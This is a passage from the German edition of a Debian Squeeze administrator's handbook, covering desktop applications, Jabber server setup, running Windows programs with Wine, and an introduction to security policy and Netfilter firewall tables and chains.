Genau genommen enthält Debian Squeeze Icedove und nicht Thunderbird, und zwar aus rechtlichen Gründen, auf die wir später im Abschnitt „Iceweasel, Firefox und andere“ eingehen werden; aber abgesehen von ihren Namen (und Piktogrammen) bestehen zwischen ihnen keine wirklichen Unterschiede.

13.4.2. Web-Browser

Epiphany, der Web-Browser in der GNOME-Garnitur, verwendet das von Apple für seinen Safari-Browser entwickelte Anzeigeprogramm WebKit. Das entsprechende Paket heißt epiphany-browser.

Konqueror, der KDE-Dateimanager, fungiert auch als Web-Browser. Er verwendet das KDE-spezifische Darstellungsprogramm KHTML. Dass KHTML ein ausgezeichnetes Programm ist, belegt auch die Tatsache, dass Apples WebKit auf KHTML beruht. Konqueror steht über das Paket konqueror zur Verfügung.

Nutzer, denen keiner der oben genannten Browser gefällt, können Iceweasel verwenden. Dieser Browser, verfügbar im Paket iceweasel, nutzt den Gecko-Renderer des Mozilla-Projekts, auf den eine ressourcenschonende und erweiterbare Schnittstelle aufgesetzt wurde.

Figure 13.7. Der Web-Browser Iceweasel

KULTUR Iceweasel, Firefox und andere

Viele Nutzer werden ohne Zweifel über das Fehlen von Mozilla Firefox in den Menüs von Debian Squeeze überrascht sein. Aber kein Grund zur Panik: das Paket iceweasel enthält Iceweasel, das im Grunde genommen Firefox unter einem anderen Namen ist.

Der Grund für diese Umbenennung liegt in den Nutzungsregeln, die von der Mozilla-Stiftung für das eingetragene Warenzeichen Firefox™ verfügt wurden: jedes als Firefox benannte Programm muss das offizielle Firefox-Logo und die offiziellen Piktogramme verwenden. Da diese Elemente jedoch nicht unter einer freien Lizenz veröffentlicht sind, kann Debian sie in seinem main-Bereich nicht anbieten. Anstatt den gesamten Browser in den Bereich non-free zu verschieben, hat sich der Paketbetreuer entschlossen, einen anderen Namen zu verwenden.

Der Befehl firefox ist im iceweasel-Paket noch vorhanden, aber nur, um die Kompatibilität mit Programmen, die es zu verwenden versuchen, sicherzustellen.

Aus ähnlichen Gründen wurde der E-Mail-Client Thunderbird™ in Icedove umbenannt.

KULTUR Mozilla

Netscape Navigator war der Standardbrowser, als das Web die Massen zu erreichen begann, aber er fiel immer weiter zurück, als Microsoft Internet Explorer erschien. Angesichts dieses Misserfolges entschied sich Netscape (das Unternehmen), seinen Quellcode „freizugeben“, indem es ihn unter einer freien Lizenz veröffentlichte, um ihm so ein neues Leben zu geben. Dies war der Beginn des Mozilla-Projekts. Nach vielen Jahren der Entwicklungsarbeit sind die Ergebnisse mehr als zufriedenstellend: das Mozilla-Projekt brachte ein HTML-Darstellungsprogramm (namens Gecko) hervor, das zu den standardkonformsten gehört. Dieses Programm wird insbesondere vom Mozilla Firefox-Browser verwendet, der einer der erfolgreichsten Browser mit einer schnell wachsenden Benutzergemeinschaft ist.

Squeeze bringt auch einen relativ neuen Sprössling der Browserszene mit, Chromium (verfügbar im Paket chromium-browser). Dieser Browser wird von Google mit einer solchen Geschwindigkeit weiterentwickelt, dass es fast unmöglich ist, eine einzelne Version über die Lebenszeit von Squeeze zu behalten. Seine klare Absicht ist es, Internetdienste in zweierlei Hinsicht attraktiver zu gestalten, nämlich den Browser hinsichtlich seiner Geschwindigkeit zu optimieren und die Sicherheit des Nutzers zu verbessern. Der freie Code, der Chromium antreibt, wird auch von der proprietären Version verwendet, die Google Chrome heißt.

13.4.3. Entwicklung

13.4.3.1. Hilfsprogramme für GTK+ bei GNOME

Anjuta (im Paket anjuta) ist eine Entwicklungsumgebung, die zur Erstellung von GTK+-Anwendungen für GNOME optimiert ist. Glade (im Paket glade) ist ein Programm, das entwickelt wurde, um mit GTK+ grafische Schnittstellen für GNOME zu erstellen und sie als XML-Dateien abzuspeichern. Diese XML-Dateien können dann von der Programmbibliothek libglade geladen werden, die die gespeicherten Schnittstellen dynamisch nachbilden kann; ein derartiges Leistungsmerkmal kann zum Beispiel für Erweiterungen interessant sein, die Dialoge erfordern.

Anjutas Anwendungsbereich besteht darin, alle Fähigkeiten, die man von einer integrierten Entwicklungsumgebung erwarten würde, auf modulare Weise zu kombinieren.

13.4.3.2. Hilfsprogramme für Qt bei KDE

Die entsprechenden Anwendungen für KDE sind KDevelop (im Paket kdevelop) für die Entwicklungsumgebung und Qt-Designer (in den Paketen qt3-designer oder qt4-designer) zur Entwicklung grafischer Schnittstellen für QT-Anwendungen unter KDE.

Die nächsten Versionen dieser Anwendungen sollten dank des KParts-Komponentensystems besser zusammenpassen.

13.4.4. Gemeinschaftliche Arbeit

13.4.4.1. In Gruppen arbeiten: groupware

In einer früheren Ausgabe dieses Buchs wurde PHPGroupware erwähnt, dieses Programm ist jedoch nicht mehr Bestandteil von Debian... Es wird nicht mehr aktiv betreut, und keine der vorhandenen Versionen war mit der in Debian Squeeze enthaltenen PHP-Version 5.3 kompatibel, weshalb der Debian-Betreuer darum gebeten hat, das Paket zu entfernen.

→ http://www.phpgroupware.org/

Auch eGroupware wurde erwähnt, es ging jedoch den gleichen Weg wie PHPGroupware, wenn auch aus anderen Gründen. Das Programm wird weiterhin von dem Unternehmen, das es entwickelt, betreut, aber niemand hat sich bereit erklärt, seine Betreuung innerhalb von Debian sicherzustellen. Falls Sie es dennoch verwenden wollen, so bietet das Projekt selbst Debian-Pakete an.

→ http://www.egroupware.org/

Aber es ist nicht alles verloren. Zahlreiche Leistungsmerkmale, die traditionell von „Groupware“-Programmen bereitgestellt wurden, sind in zunehmendem Maße in „Standard“-Programmen enthalten. Dies verringert die Notwendigkeit besonderer spezialisierter Groupware-Programme. Andererseits macht dies normalerweise einen besonderen Server erforderlich. Ein gutes Beispiel eines derartigen Servers ist Kolab, der sich in KDE einbinden kann (Kontact, Kmail und so weiter), in die Horde-Webmail, in Thunderbird (über eine Erweiterung) und sogar in Microsoft Outlook. Kolab ist Teil von Debian Squeeze (in den kolab*-Paketen).

→ http://www.kolab.org/

13.4.4.2. Sofortnachrichten-Systeme

Wenn ein internes Sofortnachrichten-System für ein Unternehmen eingerichtet werden soll, ist Jabber die nächstliegende Wahl: sein Protokoll ist offener Standard (XMPP), und es gibt keinen Mangel an Leistungsmerkmalen. Die Nachrichten können verschlüsselt werden, was ein wirklicher Vorteil sein kann, und zwischen einem Jabber-Server und anderen Sofortnachrichtennetzen, wie ICQ, GAIM, Yahoo, MSN und so weiter, können Übergänge eingerichtet werden.

ALTERNATIVE Internet Relay Chat

Statt Jabber kann man auch IRC in Betracht ziehen. Dieses System ist auf das Konzept von Kanälen ausgerichtet, deren Namen mit einem Rautenzeichen # beginnen. Jeder Kanal ist gewöhnlich auf ein spezifisches Thema eingestellt, und eine beliebige Anzahl von Personen kann einem Kanal beitreten, um es dort zu diskutieren (aber Teilnehmer können, falls erforderlich, nach wie vor private Einzelgespräche führen). Das IRC-Protokoll ist bereits älter und ermöglicht keine durchgängige Verschlüsselung der Meldungen; es ist jedoch möglich, die Kommunikation zwischen den Teilnehmern und dem Server durch das Tunneln des IRC-Protokolls innerhalb von SSL zu verschlüsseln.

IRC-Clients sind etwas komplexer, und sie stellen gewöhnlich zahlreiche Leistungsmerkmale bereit, die in einer betrieblichen Umgebung nur von begrenztem Nutzen sind. So sind zum Beispiel Kanal-„Betreiber“ Teilnehmer, die mit der Fähigkeit ausgestattet sind, andere Teilnehmer aus dem Kanal zu werfen oder sie sogar dauerhaft auszusperren, wenn die normale Diskussion gestört wird.

Da das IRC-Protokoll sehr alt ist, gibt es zahlreiche auf verschiedene Nutzergruppen zugeschnittene Clients; zu ihnen zählen zum Beispiel XChat und Smuxi (grafische Clients, die auf GTK+ aufbauen), Irssi (Textmodus), Erc (in Emacs integriert), Chatzilla (im Mozilla-Programmpaket) und so weiter.

KURZER BLICK Videokonferenzen mit Ekiga

Ekiga (früher GnomeMeeting genannt) ist die bekannteste Anwendung zur Führung von Videokonferenzen unter Linux. Es ist sowohl stabil als auch funktionell und kann in lokalen Netzwerken sehr leicht verwendet werden; das Einrichten des Dienstes in einem weltweiten Netzwerk ist dagegen wesentlich schwieriger, wenn die beteiligten Firewalls keine ausdrückliche Unterstützung für H323 oder das SIP-Telefonkonferenzprotokoll mit all ihren Eigenarten bieten.

Falls nur ein Ekiga-Client hinter der Firewall laufen soll, ist die Konfigurierung recht geradlinig und erfordert nur das Weiterleiten einiger Ports an den speziell dafür vorgesehenen Host: TCP-Port 1720 (wartet auf ankommende Verbindungen), TCP-Port 5060 (für SIP), TCP-Ports 30000 und 30010 (zur Kontrolle offener Verbindungen) und UDP-Ports 5000 bis 5013 (für die Übertragung von Audio- und Videodaten und die Registrierung bei einem H323-Proxy).

Wenn mehrere Ekiga-Clients hinter der Firewall laufen sollen, steigt die Komplexität beträchtlich an. Ein H323-Proxy (zum Beispiel das Paket gnugk) muss eingerichtet werden, und seine Konfigurierung ist alles andere als einfach.

13.4.4.2.1. Den Server konfigurieren

Das Einrichten eines Jabber-Servers ist recht unkompliziert. Nach der Installation des Pakets ejabberd kann mit dem Befehl dpkg-reconfigure ejabberd die Standard-Domain angepasst und ein Administrator-Konto erstellt werden. Beachten Sie, dass der Jabber-Server einen gültigen DNS-Namen benötigt, der auf ihn weist; daher kann im Vorfeld einige Verwaltungsarbeit am Netzwerk erforderlich sein. Die Falcot Corp. Administratoren haben hierfür jabber.falcot.com ausgesucht.

Sobald diese anfängliche Einrichtung vorüber ist, kann die Konfiguration des Dienstes über eine Web-Schnittstelle kontrolliert werden, die über http://jabber.falcot.com:5280/admin/ erreichbar ist. Der angeforderte Benutzername und das Passwort sind dieselben, die zuvor im Verlauf der anfänglichen Einrichtung eingegeben worden sind. Beachten Sie, dass der Benutzername zusammen mit der eingestellten Domain angegeben werden muss: das Konto admin wird so zu admin@jabber.falcot.com.

Die Web-Oberfläche macht das Editieren von Konfigurationsdateien unnötig, aber vereinfacht die Aufgabe nicht immer, da viele Optionen eine besondere Syntax haben, die bekannt sein muss. /usr/share/doc/ejabberd/guide.html ist deshalb eine empfehlenswerte Lektüre.

13.4.4.2.2. Jabber-Clients

GNOME stellt Empathy (im gleichnamigen Paket) zur Verfügung, einen minimalistischen Client, der sich in den Benachrichtigungsbereich der Arbeitsfläche (in der GNOME-Standardeinstellung in der oberen rechten Ecke) einpasst. Er unterstützt außer Jabber zahlreiche andere Sofortnachrichten-Protokolle.

KDE stellt Kopete (im Paket gleichen Namens) zur Verfügung.

13.4.4.3. Gemeinschaftliche Arbeit mit FusionForge

FusionForge ist ein Programm für gemeinschaftliche Entwicklungsarbeit mit einigen Anleihen bei SourceForge, einem Hostingdienst für freie Softwareprojekte. Es verwendet denselben allgemeinen Ansatz auf der Grundlage des Standardentwicklungsmodells für freie Software. Das Programm selbst hat sich weiterentwickelt, nachdem der SourceForge-Code proprietär wurde. Seine ursprünglichen Autoren, VA Software, entschieden sich, keine freien Versionen mehr zu veröffentlichen. Das Gleiche geschah ein weiteres Mal, als die erste Abspaltung (GForge) denselben Weg einschlug. Da verschiedene Personen und Organisationen an der Entwicklung beteiligt waren, enthält das jetzige FusionForge sowohl Merkmale, die einen traditionelleren Entwicklungsansatz verfolgen, als auch Projekte, die sich nicht ausschließlich mit der Entwicklung von Software befassen.

FusionForge kann als Verschmelzung mehrerer Hilfsprogramme gesehen werden, die der Verwaltung, Verfolgung und Koordinierung von Projekten dienen. Diese Hilfsprogramme können grob in drei Kategorien unterteilt werden:

Kommunikation: Webforen, Mailinglist-Verwalter, Ankündigungssystem zur Nachrichtenveröffentlichung eines Projekts;

Verfolgung: Aufgabenverfolgung zur Fortschrittskontrolle und Aufgabenterminierung, Verfolgung von Fehlern (oder Patches oder Funktionswünschen oder jeder anderen Art von „Tickets“), Erhebungen;

Austausch: Dokumentationsverwalter zur Bereitstellung eines einheitlichen zentralen Ortes für projektbezogene Dokumente, allgemeiner Dateiveröffentlichungsmanager, speziell jedem Projekt zugeordnete Website.

Da FusionForge hauptsächlich auf Entwicklungsprojekte abzielt, umfasst es auch zahlreiche Hilfsprogramme wie CVS, Subversion, Git, Bazaar, Darcs, Mercurial und Arch für das Quellen-Kontrollmanagement beziehungsweise das „Konfigurationsmanagement“ oder die „Versionskontrolle“ - dieser Prozess hat viele Namen. Diese Programme speichern den Verlauf aller Revisionen aller verfolgten Dateien (häufig Quellcode-Dateien) mit allen Veränderungen, die diese durchmachen, und sie können Veränderungen zusammenführen, wenn mehrere Entwickler gleichzeitig am selben Teil eines Projekts arbeiten.

Die meisten dieser Hilfsprogramme sind über eine Webschnittstelle zugänglich oder werden sogar darüber verwaltet, mit einem detaillierten Berechtigungssystem und mit E-Mail-Benachrichtigungen für einige Vorgänge.

13.4.5. Office-Pakete

Büroprogramme galten in der Welt der freien Software lange Zeit als nicht vorhanden. Benutzer haben lange nach Ersatz für Microsoft-Programme wie Word und Excel gefragt, aber diese sind so komplex, dass Ersatz nur schwer zu entwickeln war. Die Situation änderte sich mit dem Start des Projekts OpenOffice.org (nachdem Sun den Code von StarOffice unter einer freien Lizenz veröffentlicht hatte). Die GNOME- und KDE-Projekte arbeiten immer noch an ihren eigenen Angeboten (GNOME Office und KOffice), und der freundliche Wettbewerb führt zu interessanten Ergebnissen. Zum Beispiel ist die Tabellenkalkulation Gnumeric (Teil von GNOME Office) in einigen Bereichen sogar besser als OpenOffice.org, vor allem bei der Genauigkeit seiner Berechnungen. Auf dem Gebiet der Textverarbeitung ist das OpenOffice.org-Paket weiterhin wegweisend.

Ein weiteres für die Nutzer wichtiges Leistungsmerkmal ist die Fähigkeit, Word- und Excel-Dokumente, die man von Ansprechpartnern erhalten oder in Archiven gefunden hat, zu importieren. Obwohl alle Büropakete Filter besitzen, die es ermöglichen, mit diesen Formaten zu arbeiten, sind nur die von OpenOffice.org für den täglichen Gebrauch ausreichend funktionsfähig.

DER ÜBERBLICK Libre Office ersetzt OpenOffice.org

OpenOffice.org-Mitwirkende haben eine Stiftung gegründet (The Document Foundation), um die Projektentwicklung zu fördern. Die Idee wurde bereits seit einiger Zeit diskutiert, aber der eigentliche Auslöser war der Aufkauf von Sun durch Oracle. Die neuen Eigentumsverhältnisse machten die Zukunft von OpenOffice unter Oracle unsicher. Da sich Oracle weigerte, Mitglied der Stiftung zu werden, waren die Entwickler gezwungen, den Namen OpenOffice.org aufzugeben. Die Software wird jetzt Libre Office genannt.

Diese Veränderungen traten erst nach der Veränderungssperre für Debian Squeeze ein. Daher enthalten die Paketdepots noch OpenOffice.org... aber LibreOffice ist bereits in den Depots von backports.debian.org vorhanden, wie auch in neueren Debian-Versionen.

OpenOffice.org, KOffice und GNOME Office sind in den Debian-Paketen openoffice.org, koffice und gnome-office verfügbar. Sprachspezifische Pakete für OpenOffice.org werden in gesonderten Paketen veröffentlicht: openoffice.org-l10n-*, openoffice.org-help-* und openoffice.org-spellcheck-* (letzteres kann von myspell-* als virtuelles Paket bereitgestellt werden).

13.5. Windows emulieren: Wine

Trotz all der oben erwähnten Anstrengungen gibt es noch eine Anzahl von Programmen ohne Linux-Äquivalent, oder solche, für die die Originalversion unerlässlich ist. Hier sind Windows-Emulationssysteme nützlich. Das bekannteste unter ihnen ist Wine.

→ http://www.winehq.com/

ERGÄNZUNGEN CrossOver Linux

CrossOver, von CodeWeavers produziert, ist ein Satz von Verbesserungen für Wine, der den verfügbaren Satz emulierter Funktionen soweit erweitert, dass Microsoft Office vollständig nutzbar wird. Einige dieser Verbesserungen werden nach und nach in Wine aufgenommen.

→ http://www.codeweavers.com/products/

Man sollte jedoch nicht vergessen, dass dies nur eine von mehreren Lösungen ist, und dass das Problem auch mit einem virtuellen Rechner oder mit VNC angegangen werden kann; diese beiden Lösungen sind in den Seitenleisten ausführlich beschrieben.

Lassen Sie uns mit einer Erinnerung beginnen: Emulierung ermöglicht es, ein Programm (das für ein bestimmtes Zielsystem entwickelt wurde) auf einem anderen Wirtssystem auszuführen. Das Emulationsprogramm benutzt das Wirtssystem, auf dem die Anwendung läuft, um die erforderlichen Funktionen des Zielsystems zu imitieren.

Der einfachste Weg, Wine zu nutzen, verläuft über eine Microsoft Windows-Instanz, die bereits auf einer bestehenden Partition installiert ist (wie dies auf Dual-Boot-Rechnern mit diesem System der Fall ist). Wenn keine installierte Windows-Version zur Verfügung steht, arbeitet Wine mit verringertem Funktionsumfang, und weniger Programme sind in der Lage zu laufen.

Zunächst muss die Windows-Partition eingehängt werden (zum Beispiel unter /windows/), und der Benutzer wine muss auf sie Lese- und Schreibzugriff haben. Der folgende Eintrag in fstab gibt allen Benutzern diese Rechte:

/dev/hda1 /windows fat defaults,uid=1000,gid=100,umask=002,nls=iso8859-1 0 0

Jetzt werden alle benötigten Pakete installiert:

# apt-get install wine ttf-mscorefonts-installer wine-doc

Der Benutzer muss anschließend winecfg ausführen und /windows/ als Laufwerk C: einrichten. Alle übrigen Einstellungen können auf ihren Standardwerten belassen werden. Um Windows-Programme zu starten, muss dann nur noch wine /windows/.../programm.exe aufgerufen werden.

Beachten Sie, dass Sie sich nicht auf Wine (oder ähnliche Lösungen) verlassen sollten, ohne das jeweilige Programm in der Praxis zu testen: Nur durch einen Test unter Realbedingungen kann man endgültig feststellen, ob die Emulierung vollständig funktionsfähig ist.

ALTERNATIVE Virtuelle Rechner

Eine Alternative zum Emulieren eines Microsoft-Betriebssystems besteht darin, es auf einem virtuellen Rechner laufen zu lassen, der einen vollständigen Hardware-Rechner simuliert. Auf diese Weise kann man auch beliebige andere Betriebssysteme laufen lassen. Chapter 12, Weitergehende Verwaltung beschreibt verschiedene Virtualisierungssysteme, insbesondere Xen und KVM (aber auch QEMU, VMWare und Bochs).

ALTERNATIVE Windows Terminal Server oder VNC

Eine weitere Möglichkeit besteht darin, native Windowsanwendungen auf einem zentralen Server unter Windows Terminal Server laufen zu lassen und dann von Linux-Rechnern aus unter Verwendung von rdesktop darauf zuzugreifen. Letzteres ist ein Linux-Client für das RDP-Protokoll (Remote Desktop Protocol), das von Windows NT/2000 Terminal Server benutzt wird, um Arbeitsoberflächen auf entfernten Rechnern anzuzeigen.

VNC stellt ähnliche Leistungsmerkmale zur Verfügung, hat darüber hinaus aber noch den Vorteil, auch mit vielen anderen Betriebssystemen zu funktionieren. Linux-VNC-Clients und -Server sind in Section 9.2, “Anmelden aus der Ferne” beschrieben.

Chapter 14. Sicherheit

Ein Informationssystem kann je nach der Umgebung, in der es eingesetzt wird, unterschiedlich wichtig sein. Manchmal ist es für ein Unternehmen lebensnotwendig. Deshalb muss es vor verschiedenen Gefahren geschützt sein. Das Verfahren, bei dem diese Gefahren identifiziert werden und der passende Schutz festgelegt und eingerichtet wird, wird insgesamt als „Sicherheitsprozess“ bezeichnet.

14.1. Festlegen einer Sicherheitsstrategie

VORSICHT Anwendungsbereich dieses Kapitels

IT-Sicherheit ist ein ausgedehntes und sehr heikles Thema. Wir können daher nicht den Anspruch erheben, dies in umfassender Weise in einem einzelnen Kapitel zu beschreiben. Wir werden nur einige wichtige Punkte umreißen und einige Werkzeuge und Methoden beschreiben, die im Sicherheitsbereich von Nutzen sein können. Zur Vertiefung steht umfangreiche Literatur zur Verfügung, ganze Bücher sind diesem Thema gewidmet worden. Ein hervorragender Einstieg wäre zum Beispiel Linux Server Security von Michael D. Bauer (herausgegeben von O'Reilly).

Der Begriff „Sicherheit“ selbst deckt einen weiten Bereich von Konzepten, Werkzeugen und Verfahren ab, von denen jedoch keines allgemein gilt. Um unter ihnen eine Auswahl treffen zu können, muss man eine klare Vorstellung davon haben, was man erreichen möchte. Die Absicherung eines Systems beginnt mit der Beantwortung einiger Fragen. Wenn man überstürzt einen willkürlich ausgewählten Satz von Werkzeugen installiert, läuft man Gefahr, sich auf die falschen Aspekte der Sicherheit zu konzentrieren.

Als erstes legt man deshalb das Ziel fest. Ein guter Ansatz, der bei dieser Festlegung hilft, beginnt mit den folgenden Fragen:

Was wollen wir schützen? Die Sicherheitsrichtlinie wird je nachdem, ob wir Rechner oder Daten schützen wollen, anders aussehen. Bei letzteren müssen wir auch noch wissen, um welche Daten es sich handelt.

Wovor wollen wir uns schützen? Ist es der Verlust vertraulicher Daten? Versehentliche Datenverluste? Einnahmeausfälle durch Störungen im Betriebsablauf?

Ferner, vor wem versuchen wir uns zu schützen? Sicherheitsmaßnahmen zum Schutz vor einem Tippfehler eines normalen Benutzers des Systems sind grundverschieden von Maßnahmen zum Schutz vor einer entschlossenen Gruppe von Angreifern.

Der Begriff „Gefahr“ wird normalerweise benutzt, um gleichermaßen von folgenden drei Faktoren zu sprechen: was geschützt werden soll, welches Ereignis verhindert werden soll, und wer versuchen wird, dieses Ereignis eintreten zu lassen. Um die Gefahr abzubilden, müssen alle drei Fragen beantwortet werden. Ausgehend von diesem Risikomodell können dann Sicherheitsrichtlinien erstellt und durch konkrete Maßnahmen umgesetzt werden.

HINWEIS Ständiges Infragestellen

Bruce Schneier, ein weltweit anerkannter Experte in Sicherheitsfragen (nicht nur Computersicherheit), setzt einem der gängigsten Sicherheitsmythen ein Motto entgegen: „Sicherheit ist ein Prozess, kein Produkt.“ Die zu schützenden Güter ändern sich im Laufe der Zeit, genauso wie die Bedrohungen und die Mittel, die potentiellen Angreifern zur Verfügung stehen. Selbst wenn eine Sicherheitsrichtlinie anfänglich einwandfrei gestaltet und umgesetzt war, sollte man sich nie auf seinen Lorbeeren ausruhen. Die Risikokomponenten entwickeln sich weiter, und die Erwiderung auf sie muss sich dementsprechend ebenfalls weiterentwickeln.

Besondere Beschränkungen müssen ebenfalls bedacht werden, da sie den Bereich der möglichen Richtlinien begrenzen können. Wie weit wollen wir gehen, um ein System abzusichern? Diese Frage hat einen wesentlichen Einfluss auf die umzusetzenden Richtlinien. Die Antwort wird allzu oft nur in Form von monetären Kosten gegeben, aber die anderen Elemente sollten ebenfalls berücksichtigt werden, wie zum Beispiel das Maß an Unbequemlichkeit, das den Systembenutzern auferlegt wird, oder Leistungseinbußen.

Sobald das Risiko abgebildet ist, kann man damit beginnen, sich Gedanken über die eigentlichen Sicherheitsrichtlinien zu machen.

HINWEISExtreme Richtlinien

Es gibt Fälle, in denen die Wahl der Maßnahmen, die zur Absicherung eines Systems erforderlich sind, äußerst einfach ist.

Wenn zum Beispiel das zu schützende System nur aus einem gebrauchten Rechner besteht, der lediglich dazu benutzt wird, am Ende des Tages einige Zahlen hinzuzufügen, könnte es durchaus vernünftig sein, sich dafür zu entscheiden, gar nichts Besonderes zu seinem Schutz zu tun. Der Sachwert des Systems ist gering. Der Wert der Daten ist Null, da sie nicht auf dem Rechner gespeichert werden. Ein möglicher Angreifer, der in dieses „System“ einbricht, würde nur eine schwerfällige Rechenmaschine bekommen. Die Kosten zur Absicherung eines solchen Systems wären wahrscheinlich höher als die eines Einbruchs.

Am anderen Ende des Spektrums möchten wir vielleicht die Vertraulichkeit geheimer Daten unter allen Umständen auf möglichst umfassende Weise schützen. In diesem Fall könnte eine angemessene Aktion darin bestehen, diese Daten vollständig zu vernichten (die Dateien sicher zu löschen, die Festplatten zu schreddern, dann die Partikel in Säure aufzulösen und so weiter). Falls es zusätzlich erforderlich ist, die Daten für eine zukünftige Verwendung zu speichern (wenn auch nicht notwendigerweise auf leicht zugängliche Art), und falls Kosten auch in diesem Fall keine Rolle spielen, könnte ein Ansatzpunkt darin bestehen, die Daten auf Platten aus einer Platin-Iridium-Legierung zu speichern und diese in bombensicheren Bunkern unter verschiedenen Bergen dieser Welt zu lagern, von denen (natürlich) jeder völlig geheim und von ganzen Armeen bewacht wäre...

So extrem diese Beispiele auch erscheinen mögen, so wären sie dennoch eine angemessene Reaktion auf definierte Risiken, da sie das Ergebnis von Überlegungen sind, bei denen die zu erreichenden Ziele und die einzuhaltenden Restriktionen berücksichtigt wurden. Keine Sicherheitsrichtlinie ist weniger respektabel als eine andere, solange sie auf einer begründeten Entscheidung beruht.

In den meisten Fällen kann das Informationssystem in einheitliche und weitgehend voneinander unabhängige Teilsysteme aufgeteilt werden. Jedes Teilsystem hat seine eigenen Anforderungen und Restriktionen, und daher sollten die Risikoanalyse und die Entwicklung der Sicherheitsrichtlinien für jedes getrennt angegangen werden. Man sollte dabei beachten, dass eine kurze und wohldefinierte Grenzlinie leichter zu verteidigen ist, als eine lange gewundene Grenze. Die Organisation des Netzwerks sollte dementsprechend ausgelegt werden: empfindliche Dienste sollten auf wenigen Rechnern konzentriert sein, und diese sollten nur über möglichst wenige Kontrollpunkte zugänglich sein; es ist einfacher, diese Kontrollpunkte abzusichern, als alle empfindlichen Rechner gegen die gesamte Außenwelt. An dieser Stelle wird die Nützlichkeit von Netzwerkfiltern (einschließlich Firewalls) deutlich. Diese Filterung kann mit dedizierter Hardware realisiert werden, jedoch besteht eine möglicherweise einfachere und flexiblere Lösung darin, eine Firewall-Anwendung, wie sie im Linux-Kernel integriert ist, zu benutzen.

14.2. Firewall oder Paketfilter

ZURÜCK ZU DEN GRUNDLAGEN Firewall

Eine Firewall ist eine Computereinrichtung aus Hard- oder Software, die ein- und ausgehende Netzwerkpakete (zum lokalen Netzwerk kommend oder von ihm ausgehend) sortiert und nur diejenigen durchlässt, die bestimmte vorher festgelegte Bedingungen erfüllen.

Eine Firewall ist ein filternder Netzübergang und nur bei Paketen wirksam, die durch sie hindurchgehen müssen. Deshalb kann sie nur dann wirksam sein, wenn der Weg durch die Firewall für diese Pakete die einzige Route ist.

Da es keine Standardkonfiguration gibt (und das Motto „Prozess, nicht Produkt“ gilt), gibt es auch keine schlüsselfertige Lösung. Es gibt jedoch Hilfsprogramme, die die Konfigurierung der Netfilter-Firewall mit einer grafischen Darstellung der Filterregeln vereinfachen. fwbuilder ist zweifellos unter ihnen eines der besten.

SONDERFALL Lokale Firewall

Eine Firewall kann auf einen bestimmten Rechner beschränkt sein (im Gegensatz zu einem ganzen Netzwerk), wobei ihre Rolle dann darin besteht, den Zugang zu einigen Diensten zu filtern oder zu beschränken, oder möglicherweise ausgehende Verbindungen von Schadsoftware, die ein Anwender vorsätzlich oder unabsichtlich installiert hat, zu unterbinden.

Der Linux 2.6 Kernel schließt die Netfilter-Firewall ein. Diese kann aus dem Benutzer-Raum mit den Befehlen iptables und ip6tables gesteuert werden. Der Unterschied zwischen diesen beiden Befehlen besteht darin, dass ersterer auf das IPv4-Netzwerk einwirkt, letzterer auf IPv6. Da beide Netzwerkstapel wahrscheinlich noch viele Jahre in Gebrauch sein werden, müssen beide Hilfsprogramme parallel verwendet werden.

14.2.1. Verhalten von Netfilter

Netfilter verwendet vier verschiedene Tabellen, in denen Regeln gespeichert werden, die drei Arten von Vorgängen bei Paketen regeln:

filter betrifft Filterregeln (ein Paket annehmen, zurückweisen oder ignorieren);

nat betrifft die Übersetzung von Quell- oder Zieladressen und der Ports von Paketen; man beachte, dass es diese Tabelle nur für IPv4 gibt;

mangle betrifft sonstige Änderungen an den IP-Paketen (einschließlich des ToS — Type of Service — Feldes und seiner Optionen);

raw ermöglicht andere manuelle Veränderungen an Paketen, bevor sie das Verbindungsverfolgungssystem erreichen.

Jede Tabelle enthält Regellisten, die Ketten genannt werden. Die Firewall verwendet Standardketten, um Pakete in Abhängigkeit von vorher festgelegten Umständen zu bearbeiten. Der Administrator kann weitere Ketten erstellen, die aber nur benutzt werden, wenn von einer der Standardketten (entweder direkt oder indirekt) auf sie verwiesen wird.

Die Tabelle filter enthält drei Standardketten:

INPUT: betrifft Pakete, deren Ziel die Firewall selbst ist;

OUTPUT: betrifft Pakete, die von der Firewall ausgesandt werden;

FORWARD: betrifft Pakete, die die Firewall durchqueren (die weder ihre Quelle noch ihr Ziel ist).

Die Tabelle nat enthält ebenfalls drei Standardketten:

PREROUTING: um Pakete zu verändern, sobald sie eintreffen;

POSTROUTING: um Pakete zu verändern, wenn sie für die Versendung bereit sind;

OUTPUT: um von der Firewall selbst erzeugte Pakete zu verändern.

Figure 14.1. Wie Netfilter-Ketten aufgerufen werden

Jede Kette ist eine Liste von Regeln; jede Regel besteht aus einem Satz von Bedingungen und einer Aktion, die ausgeführt wird, wenn die Bedingungen erfüllt sind. Wenn ein Paket bearbeitet wird, fragt die Firewall die passende Kette Regel für Regel ab; wenn die Bedingungen einer Regel erfüllt sind, „springt“ (daher die Option -j für „jump“ in den Befehlen) sie zu der angegebenen Aktion, um die Bearbeitung dort fortzusetzen. Die gebräuchlichsten Verhaltensweisen sind standardisiert, und es gibt fest zugeordnete Aktionen für sie. Die Ausführung einer dieser Standardaktionen bricht die Bearbeitung der Kette ab, da das Schicksal des Pakets bereits besiegelt ist (abgesehen von einer weiter unten genannten Ausnahme):

ZURÜCK ZU DEN GRUNDLAGEN ICMP

ICMP (Internet Control Message Protocol) ist das Protokoll, das zur Übertragung ergänzender Informationen bei der Datenübertragung verwendet wird. Mit ihm kann die Netzanbindung durch den Befehl ping überprüft werden (der Befehl verschickt eine echo request ICMP-Nachricht, die der Empfänger mit einer echo reply ICMP-Nachricht beantworten soll). Es meldet, ob eine Firewall ein Paket zurückweist, zeigt einen Überlauf in einem Empfangspuffer an, schlägt einen besseren Pfad für die nächsten Pakete in einer Verbindung vor und so weiter. Dieses Protokoll ist durch mehrere RFC-Dokumente definiert; die ursprünglichen Dokumente RFC777 und RFC792 wurden schon bald vervollständigt und erweitert.

→ http://www.faqs.org/rfcs/rfc777.html

→ http://www.faqs.org/rfcs/rfc792.html

Hinweis: ein Empfangspuffer ist ein kleiner Speicherbereich, der Daten vom Zeitpunkt ihrer Ankunft aus dem Netzwerk bis zum Zeitpunkt ihrer Verarbeitung durch den Kernel speichert. Wenn dieser Bereich voll ist, können keine weiteren Daten empfangen werden, und ICMP meldet das Problem, so dass der Absender seine Übertragungsgeschwindigkeit reduzieren kann (die nach einiger Zeit möglichst ausgeglichen sein sollte).

